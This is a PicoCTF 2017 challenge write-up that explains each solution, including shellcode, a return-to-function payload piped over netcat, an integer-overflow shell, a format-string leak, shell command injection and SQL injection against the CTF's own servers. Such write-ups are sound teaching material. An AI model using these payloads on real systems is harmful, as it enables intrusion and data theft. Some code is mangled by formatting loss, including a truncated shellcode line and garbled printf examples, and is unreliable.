# PicoCTF 2017 Write-up

25 Aug 2017

## Level 1

### Cryptography

#### Keyz

This exercise is about creating a SSH key, and then using the web shell to login with it.

Why use SSH keys? You can be authenticated by the server without having to send your password over a network. You are invulnerable to brute force. SSH keys are created in pairs, one is the private key and the other is the public key. You can share the public key with the server, but make sure the private key is kept for your eyes only (usu. ~/.ssh).

First, you need to use ssh-keygen to create a unique SSH key for yourself. Use -t for a type of RSA key and -C for a comment. If not already setup, this should setup a .ssh directory that has something like: id_rsa , id_rsa.pub

Add the id_rsa.pub to your authorized_keys in the PICO CTF web shell.

References:

### Reverse Engineering

#### Raw2Hex

First change directory. But when we get there and try to cat flag - we can’t! Permission denied.

Let’s look at the hex2raw executable. Once we do it, it gives us the flag in raw: v\h3-

How do we get the raw Ascii back to hex? Just pipe it to XXD!

cd /problems/45f3b0abcf176b7cf7c1536b28d05d72
./raw2hex | xxd -p 

## Level 2

### Forensics

#### Little School Bus

Can you help me find the data in this littleschoolbus.bmp?

This is least significant bit steganography! We can feed it into MatLab

#### Just Keyp Trying

Here’s an interesting capture of some data. But what exactly is this data? Take a look: data.pcap

Take a look at it in Notepad! It’s… erm… undecipherable confusing data squiggles? Anyway, it’s a .pcap file, so let’s look in WireShark.

The info column says “URB_INTERRUPT in”, while the protocol column says “USB”.

These packets seem to be USB packets with USBPcap headers. Not only do the packets differ in time - but, in a value called Leftover Capture Data, aka. usb.capdata. An example is “00 00 15 00 00 00 00 00”

Why is it in that format? Well, a keyboard sends press-key and release-key information to the OS, which interprets it based on the application. The usual format is in a byte array like: [modifier, reserved, key1, key2, key3, key4, key6, key 7]. For instance, ‘a’ is [0,0,4,0,0,0,0,0]. A capitol ‘A’ would have a ‘Left Shift’ modifier so it’d be: [2,0,4,0,0,0,0,0]

We want the third byte, and we’re going to reference the usage tables for key codes on a USB keyboard. The usage ID is the third field for key1.

Use tshark to get the byte array tshark -r data.pcap -T fields -e usb.capdata | cut -d ':' -f 3. Then feed that into python with a dictionary for a-z, numbers and their usage ids. I got flag{pr355_0nwards_3A10134E}

Note: Do not worry about case sensitivity

References:

### Cryptography

#### LeakedHashes

Someone got hacked! Check out some service’s password hashes that were leaked at hashdump.txt! Do you think they chose strong passwords? We should check… The service is running at shell2017.picoctf.com:4534!

The hashdump seems to resemble format (user)::(encrypted password)

The encrypted passwords are hashes - but lets find if some are decrypted. I decided to login as nadia with the decrypted hash of w0k3w4ll

Congratulations. You are in the ASCII cat database! And there’s the flag! =^_^=

#### Weird RSA

We recovered some data. It was labeled as RSA, but what in the world are “dq” and “dp”? Can you decrypt the ciphertext for us?

The data file has: c, p, q, dp, dq

It seems like this might be related to an equation. A quick search leads us to Chinese remainder algorithm where p and q are primes for the key generation, and dp and dq are (1/e)(mod (p-1)( and (1/e)(mod (q-1)) respectively.

Then, there’s qInv = (1/q) mod (p)

• p and q are primes for key generation
• dp = (1/e) mod (p-1)
• dq = (1/e) mod (q -1)
• Qinv = 1/q mod p (multiplicative inverse - not regular div)
• m1 = pow(c,dp,p)
• m2 = pow(c, dq, q) 7-1) h = Qinv(m1 - m2) mod p ; if m1 < m2 7-2) h = Qinv * (m1 + q/p)
• m = m2 + hq

We can feed this into python. A trick is to use the built-in pow function because you can supply a mod. This reduces the program time, instead of using mod, %, after computing the power.

foo:
# From stack overflow to calculate multiplicative inverse
# https://stackoverflow.com/questions/4798654/modular-multiplicative-inverse-function-in-python

def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:

g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)

def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m

# We have c,p,q, dp, dq

# We need to get qinv
# qinv is 1/q (mod p)
qinv = modinv(q, p)

#print(pow(2,1,10))
# m1 is c^(dp)(mod p)
m1 = pow(c,dp,p)
# m2 is c^(dp)(mod q)
m2 = pow(c, dq,q)
# h is qinv * (m1 - m2) * (mod p)
h = (qinv * (m1 - m2)) % p
# m = m2 + hq
m = m2 + h * q
print(m)

Don't forget to change the decoded hex into Ascii to read the flag!

### Reverse Engineering

#### A Thing Called the Stack

A friend was stacking dinner plates, and handed you this, saying something about a “stack”. Can you find the difference between the value of esp at the end of the code, and the location of the saved return address? Assume a 32 bit system. Submit the answer as a hexidecimal number, with no extraneous 0s. For example, the decimal number 2015 would be submitted as 0x7df, not 0x000007df

We want the difference (bytes) between the value of the register esp at the return address of the current frame and at the end of the code.

esp and ebp are both registers. ebp points to the base of the current frame (just below the return address of the current function frame), and esp points to the top of the stack.

Things of note:

• The format of assembly code is operation arg or operation arg1,arg2
• For a 32 bit system, each value on the stack takes 4 bytes
• The difference between the esp (instruction pointer) and ebp (base pointer) is the function stack frame
• The x86 assembly language here is AT&T Synatx

The assembly code is:

foo:
pushl %ebp
mov %esp, %ebp
pushl %edi
pushl %esi
pushl %ebx
sub $0x48, %esp movl$0x1, (%esp)
movl $0x2, 0x4(%esp) movl$0x3, 0x8(%esp)
movl $0x4, 0xc(%esp) Let’s walk through this one step at a time. 1. Foo function is called, the return address is pushed on top of the stack. Stack return address saved ebp <= %esp 2. ebp register is pushed onto the stack. 3. current value of esp is assigned to ebp 4. push DWORD contents of edi to address pointed by esp. 5. push DWORD contents of esi to address pointed by esp. 6. push DWORD contents of ebx to address pointed by esp. Stack return address saved ebp %edi %esi %ebx <= %esp 7. subtract esp by 0x48 * Note: stack grows to lower addresses; subtraction moves esp farther away from ebp 8. place value of 0x1 into the first DWORD slot of array (0,esp) 9. place value of 0x2 into the second DWORD slot of array (4,esp) 10. place value of 0x3 into the third DWORD slot of array (8,esp) 11. place value of 0x4 into the fouth DWORD slot of array (12,esp) The difference between of esp is 0x58, which is the flag! The final stack: Stack ebp: ebp-4 %ebp ebp-8 %edi ebp-12 %esi ebp-16 %ebx ebp-88 0x1 ebp-92 0x2 ebp-96 0x3 ebp-100 0x4 <= %esp • Where is the return address saved on the stack? It is stored by the instruction base pointer, ebp, which holds the current stack frame. • Which commands actually affect the stack? Commands that modify like push and pop. However, the final mov commands do not affect the stack because they do not actually modify the esp register. The mov commands are instead writing values to the place that the register esp is pointing to on the stack. We know this because of the surrounding parentheses, ie. movl$0x3, 0x8(%esp).

References:

#### Programmers Assemble

You found a text file with some really low level code. Some value at the beginning has been X’ed out. Can you figure out what should be there, to make main return the value 0x1? Submit the answer as a hexidecimal number, with no extraneous 0s. For example, the decimal number 2015 would be submitted as 0x7df, not 0x000007df

Let’s look through the code.

.global main

main:
mov $XXXXXXX, %eax mov$0, %ebx
mov $0x6, %ecx loop: test %eax, %eax jz fin add %ecx, %ebx dec %eax jmp loop fin: cmp$0x86a0, %ebx
je good
mov $0, %eax jmp end good: mov$1, %eax
end:
ret

We want to return 0x1, and we find that in the good subroutine. Okay, so the big question is - how do we get to good?

Let’s work backwords.

To get to good, we need to get to fin. We have a operation cmp $0x86a0, %ebx where we need ebx to equal 0x86a0 or 34464. Okay, how do we get to fin? To get to fin, we need eax to equal 0 in the loop subroutine. If eax is not 0, then the loop will repeat with the following.  add %ecx, %ebx dec %eax jmp loop The register ecx is added with what’s in the register ebx. Then the register eax is decremented. It continues until eax is zero (hence, the subroutine being named a loop!) $ebx += (eax * ecx)$ If we note at the beginning of the main subroutine, ebx is initialized to 0 and ecx is initialized to 6. We want ebx, however, to evaluate to 34464 for the fin subroutine. $34464+= (eax * 6)$ We divide by 6 to get 5744, which is 0x1670 in hex. This is the starting value that eax is initialized to. 0x1670 is our flag. References: ### Web Exploitation #### My First SQL I really need access to website, but I forgot my password and there is no reset. Can you help? SQL Injection is where someone inserts a string that is interpreted as code. SQL queries can show what fields are matched from the database. A successful injection allows one to read and modify the database data. select * from users where user = ''' and pass = ''; To test the vulnerability, this is a common input. ' OR '1'='1 The first part is a blank statement while the second will always evaluate to true. The single quotation is the character limiter for SQL. When you delimit strings, you can test whether the strings are properly escaped. #### TW_GR_E1_ART Oh, sweet, they made a spinoff game to Toaster Wars! That last room has a lot of flags in it though. I wonder which is the right one…? Check it out here. Click the link to get to Toaster Wars! Our goal is to get to the flag room. Takes too long to move the toaster. Not sure why I’m experiencing so much lag; will revist. ### Binary Exploitation #### Shellz You no longer have an easy thing to call, but you have more space. Program: shellz! Source. Connect on shell2017.picoctf.com:6942. Look into the shellz.c code. It will execute bytes as a function. First, lets find shellcode that is less than 40 bytes long. Here is a good one that is 21 bytes. > echo -e "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2$
My mother told me to never accept things from strangers
How bad could running a couple bytes be though?
Give me 40 bytes:

ls
flag.txt
shellz
shellz_no_aslr
xinetd_wrapper.sh
cat flag.txt
4effa67d6909029fd3cc45600f024e3f    

#### Shells

How much can a couple bytes do? Use shells! Source. Connect on shell2017.picoctf.com:55049.

This is kind of suspicious in the shells.c. The function win will read the flag!

//TODO: Ask IT why this is here
void win(){
system("/bin/cat ./flag.txt");
}

Perhaps we can play with the function win. We can’t just pipe in shellcode because.. now, unfortunately, the program only wants 10 bytes!

First, let’s get the address of the function win with gdb.

gdb shells
(gdb) print &win
$1 = (<text variable, no debug info> *) 0x8048540 <win>  Awesome! So the memory location we want is 0x8048540. Now, there are two options. You can either jump to it or push it to the instruction pointer, and return. I’ve decided to push to the address. This is a useful tool for converting from assembly to byte code. Assembly ByteCode push 0x8048540 \x68\x40\x85\x04\x08 ret \xC3 Now we just have to pipe the bytes into the program. (echo -e "\x68\x40\x85\x04\x08\xC3" ; cat -) | nc shell2017.picoctf.com 55049  The flag we get is 790fe1a8c59ae1e7607273ace0014dfc References: #### Guess The Number Just a simple number-guessing game. How hard could it be? Binary Source. Connect on shell2017.picoctf.com:40780. The strtol is a function that interprets an integer value in a byte string. long int strtol(const char *str, char **endptr, int base) Strtol is what takes our input, which is originally a 32-bit integer. Perhaps we can overflow it with the register that has the win function in the guess_num.c code. Important things to note: • We want val to point to the win address • val gets checked for overflow • There is a 4 bitwise shift to the right scanf("%32s",buf); val=strtol(buf,NULL,10); val >>=4; strtol checks for overflow, but it does allow negative numbers. Our address for win is 0x804852b . In decimal, this is: 134513963. In binary, this is: 1000 0000 0100 1000 0101 0010 1011 We shift win to the left by 4 places. 1000 0000 0100 1000 0101 0010 1011 0000 This is now 2152223408 in decimal. It is greater than a 32 bit integer whose max value is 2147483647. That said, we can use the information that 2152223408 will overflow. We just need to figure out what that number is. So, we need to input the number -2142743887 > nc shell2017.picoctf.com 40780 Welcome to the number guessing game! I'm thinking of a number. Can you guess it? Guess right and you get a shell! Enter your number: -2142743887 You entered -2142743887. Let's see if it was right... Congratulations! Have a shell: /bin/sh: 0: can't access tty; job control turned off$ ls
flag.txt
guess_num
xinetd_wrapper.sh
\$ cat flag.txt
e08d404edccb7d8259f1fe02acd34894 

The flag is e08d404edccb7d8259f1fe02acd34894

#### Ive Got A Secret

Hopefully you can find the right format for my secret! Source. Connect on shell2017.picoctf.com:5320.

The hint tells us that this is a beginning format string attack.

A format string is usually the first argument to a printf function. They use format specifiers to indicate how it should be formatted.

• Position in string indicates argument
• Specifier like %s, %f, %d indicate type
• printf takes variable number of arguments
• printf can access memory outside of where the stack frame “ends”

It is sometimes called or compared to a buffer overflow because (1) the stack data structure is similar to a buffer and (2) bogus input allows one to access outside a stack frame. Here are some examples.

\\ Normal usage
printf("My name is %s and I am %d", name, age);
\\ Where it goes wrong
printf("100% dood"); \\ Prints stack entry 4 bytes above %eip
printf("%s"); \\ Prints bytes pointed to by that stack entry
printf("100% no") \\ Writes 3 to address pointed to by stack entry

When we look at the secret.c code, there’s two things to note. First, there’s a call to /dev/urandom, which generates a random value each instance for the variable secret. This is the variable that is compared to our input to determine if we can cat the flag. Last but not least, we can see that printf is used. This is important because the printf(buffer) in the code does not check for type. This means that we can netcat in and use format strings like %x to acess values.

So, let’s do it! Let’s read from the stack!

nc shell2017.picoctf.com 5320
> %x %x %x %x %x %x %x %x %x %x %x

I get this on the first try:

40 f7fc7c20 8048792 1 ffffdd34 76593d94 3 f7fc73c4 ffffdca0 0 f7e37a63

I get this on the second try:

40 f7fc7c20 8048792 1 ffffdd34 f6bc530 3 f7fc73c4 ffffdca0 0 f7e37a63

By comparing the two, we know that the 5th argument or result from %x is the address that is holding the variable secret.

On my last try:

40 f7fc7c20 8048792 1 ffffdd34 516ff4c6 3 f7fc73c4 ffffdca0 0 f7e37a63

Great! I give the secret, 516ff4c6 , and obtain the flag 7662bb6d94ae9ab986288a5353e7b86a

References:

#### Flagsay 1

I heard you like flags, so now you can make your own! Exhilarating! Use flagsay-1! Source. Connect on shell2017.picoctf.com:51865.

I’m up for flag making! The user input is echoed by the system

char commandBase[] = "/bin/echo \"%s\"\n";
...
snprintf(command,commandLen,commandBase,flag);
system(command)

Input is not escaped so let’s use this vulnerability. We can use the quotation marks to make it seem like a string, but with the semicolon to execute our command. Normally, you use semicolons in bash programming to have multiple commands on a line. For instance, ls . ; cd .. would list your current directory and then change your directory to the parent.

nc shell2017.picoctf.com 51865
" ; /bin/ls . "
_
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
/bin/ls: cannot access                     /
//                                   /
.:
flagsay-1
flagsay-1_no_aslr
flag.txt
xinetd_wrapper.sh                  

Lets get into flag.txt!

nc shell2017.picoctf.com 51865
" ; /bin/cat ./flag.txt "
_
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
2ab2050bf32e84975a10d774a919e1d0
/bin/cat:           /
//                                   /
//                                   /                             

The flag is 2ab2050bf32e84975a10d774a919e1d0.

#### VR Gear Console

Here’s the VR gear admin console. See if you can figure out a way to log in. The problem is found here: /problems/51645e84d55d376442beaf264e0908b9

Questions:

• What happens if you read in more characters than the length of the username buffer?

### Master Challenge

Turns out, some of the files back from Master Challenge 1 were corrupted. Restore this one file and find the flag. Update 16:26 EST 1 Apr If you feel that you are close, make a private piazza post with what you have, and an admin will help out. The flag starts with the character z.

This is the end challenge for Level 2.

If we take a look at the file provided in a text editor, there’s several things in it with a .png extension. This hints to the file being a zip archive.

Let’s extract it!

>unzip file
Archive:  file
inflating: dumped/nottheflag1.png
inflating: dumped/nottheflag2.png
inflating: dumped/nottheflag3.png
inflating: dumped/nottheflag4.png
inflating: dumped/nottheflag5.png
inflating: dumped/nottheflag6.png 

Shiz. That didn’t work. Lets look at the header of the file because that will tells us more about the file type. We can use the utilities hexdump or xxd to find out what this file has.

5858 5858

It should be: PK\x03\x04 or 504B 0304

Lets edit the file, unpack the zip, and open up the flag!

>hexedit file
>xxd file | less
>unzip file
Archive:  file
inflating: flag.png
inflating: nottheflag1.png
inflating: nottheflag2.png
inflating: nottheflag3.png
inflating: nottheflag4.png
inflating: nottheflag5.png
inflating: nottheflag6.png
>feh flag.png 

The flag is zippidyd00da92849522

## Level 3

### Cryptography

#### HashChain

We found a service hiding a flag! It seems to be using some kind of MD5 Hash Chain authentication to identify who is allowed to see the flag. Maybe there is a flaw you can exploit? hcexample.py has some example code on how to calculate iterations of the MD5 hash chain. Connect to it at shell2017.picoctf.com:50102!

A hash chain is a successive application of a hash. For instance, let H be the hash function and x as the secret string. A server might store the hash1000(x). When the user authenticates with the server, they give it hash999(x). The server then takes the hash of hash999(x) to get back a value, H(hash999(x)) which it checks with hash1000(x).

There are two steps for the server:

1. Check if H(hash999(x)) equal hash1000(x)
2. If it does, replace hash1000(x) with hash999(x)

When we netcat into the application, we are greeted by this.

> nc shell2017.picoctf.com 50102

*******************************************
***            FlagKeeper 1.1           ***
*  now with HASHCHAIN AUTHENTICATION! XD  *
*******************************************

Would you like to register(r) or get flag(f)?

r/f?

r
Hello new user! Your ID is now 4343 and your assigned hashchain see
2000f6325dfc4fc3201fc45ed01c7a5d
Please validate your new ID by sending the hash before this one in
ill hash to the one I give you):
d94f478797ce761c3d3a0c98b643652c                                                                   

When we look at the provided python example, they use md5 hashes. This gives us a hint. There’s need to be a unique seed because one is randomly generated at login. Lets modify it so that the seed is the id. We can modify the python code provided to print out the hash values for a 100-long hash chain.

id=4343
last_hash="d94f478797ce761c3d3a0c98b643652c"
seed = md5.new(str(id)).hexdigest()

hashc = seed
for i in xrange(100):
hashc = md5.new(hashc).hexdigest()
if str(hashc) == last_hash:
print("-----------------------")
print("This was the last hash from the server.")
print(hashc)
print("-----------------------")
print(hashc, i)
print hashc

From this, we get a log of the hashes. We can work backwords from here. To get hash d94f478797ce761c3d3a0c98b643652c, we must hash c26ce5807968077a80d75838b8e890e0 . We enter this back into the server - awesome, it accepts it!

Lets log back to the server, but now with the intention to get the flag.

nc shell2017.picoctf.com 50102

*******************************************
***            FlagKeeper 1.1           ***
*  now with HASHCHAIN AUTHENTICATION! XD  *
*******************************************

Would you like to register(r) or get flag(f)?

r/f?

f
This flag only for user 2597
d7d3349d43c0f76bdf21e230eeb50937
Next token?
24323e6ff96359a38fbc1025bd693bc4
Hello user 2597! Here's the flag: 96630f954dd403c7882666b5443e4678 

The flag is 96630f954dd403c7882666b5443e4678.

There are a couple downsides to our python code. For example, it’s much more likely that the hash chain will be longer than 100. Additionally, we could have looped back our python code into the program by reading in the system output of the hash.

References:

You stumbled upon a group Message. Can you figure out what they were sending? The string sent is ascii encoded as a hex number (submit the ascii string as the flag)

We have a hint: The same message, with a small exponent, is being encrypted with several different n values

When we look at the values in the message, we see assignment of variables e,c1,n1,c2,n2,c3,n3

A quick search shows me that this is RSA with a low secret exponent. In particular, this is Hastad’s broadcast attack. We have 3 different ciphertexts and 3 different public keys. Because n1, n2, and n3 are relatively prime, then we can use the Chinese Remainder Theorem to calculate the third root.

Good news is that we don’t have to recreate the wheel because someone already made a python tool

> python rsaHastad.py n1 n2 n3 c1 c2 c3
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
JulesDT -- 2016
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Decoded Hex :
62726f6164636173745f776974685f736d616c6c5f655f69735f6b696c6c65725f3630383136393138303832
---------------------------
As Ascii :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~